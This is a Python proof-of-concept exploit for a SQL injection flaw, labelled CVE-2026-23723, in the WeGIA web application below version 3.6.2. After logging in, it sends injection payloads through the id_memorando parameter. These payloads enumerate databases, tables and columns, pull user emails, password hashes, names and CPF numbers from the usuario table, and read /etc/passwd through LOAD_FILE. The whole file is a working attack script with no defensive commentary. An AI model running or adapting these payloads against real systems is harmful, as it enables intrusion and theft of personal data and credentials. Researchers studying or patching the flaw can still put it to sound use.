import requests
import sys
# CVE-2026-23723 SQL Injection PoC
# Target: WeGIA < 3.6.2
# Endpoint: Atendido_ocorrenciaControle
# Parameter: id_memorando
target_url = "http://target-server/WeGIA/Atendido_ocorrenciaControle"
# Authentication (requires high privilege account)
login_url = "http://target-server/WeGIA/login.php"
credentials = {
"username": "admin_user",
"password": "password"
}
session = requests.Session()
# Login to obtain authenticated session
login_response = session.post(login_url, data=credentials)
if "authenticated" not in login_response.text:
print("[-] Authentication failed")
sys.exit(1)
print("[+] Successfully authenticated")
# SQL Injection payloads
payloads = [
# Basic injection to confirm vulnerability
"1' OR '1'='1",
# Union-based injection for data extraction
"1' UNION SELECT NULL,NULL,NULL,version(),user()-- -",
# Database enumeration
"1' UNION SELECT schema_name,NULL,NULL,NULL,NULL FROM information_schema.schemata-- -",
# Table enumeration
"1' UNION SELECT table_name,NULL,NULL,NULL,NULL FROM information_schema.tables WHERE table_schema='wegia'-- -",
# Column enumeration
"1' UNION SELECT column_name,NULL,NULL,NULL,NULL FROM information_schema.columns WHERE table_name='usuario'-- -",
# Data exfiltration
"1' UNION SELECT id_usuario,email,senha_hash,nome,cpf FROM usuario-- -",
# File read (if privileged)
"1' UNION SELECT NULL,NULL,LOAD_FILE('/etc/passwd'),NULL,NULL-- -"
]
for i, payload in enumerate(payloads):
params = {"id_memorando": payload}
try:
response = session.get(target_url, params=params, timeout=10)
print(f"\n[Payload {i+1}]: {payload}")
print(f"Status: {response.status_code}")
if "SQL" in response.text or "error" in response.text.lower():
print("[!] Potential SQL error detected")
except requests.exceptions.RequestException as e:
print(f"[-] Request failed: {e}")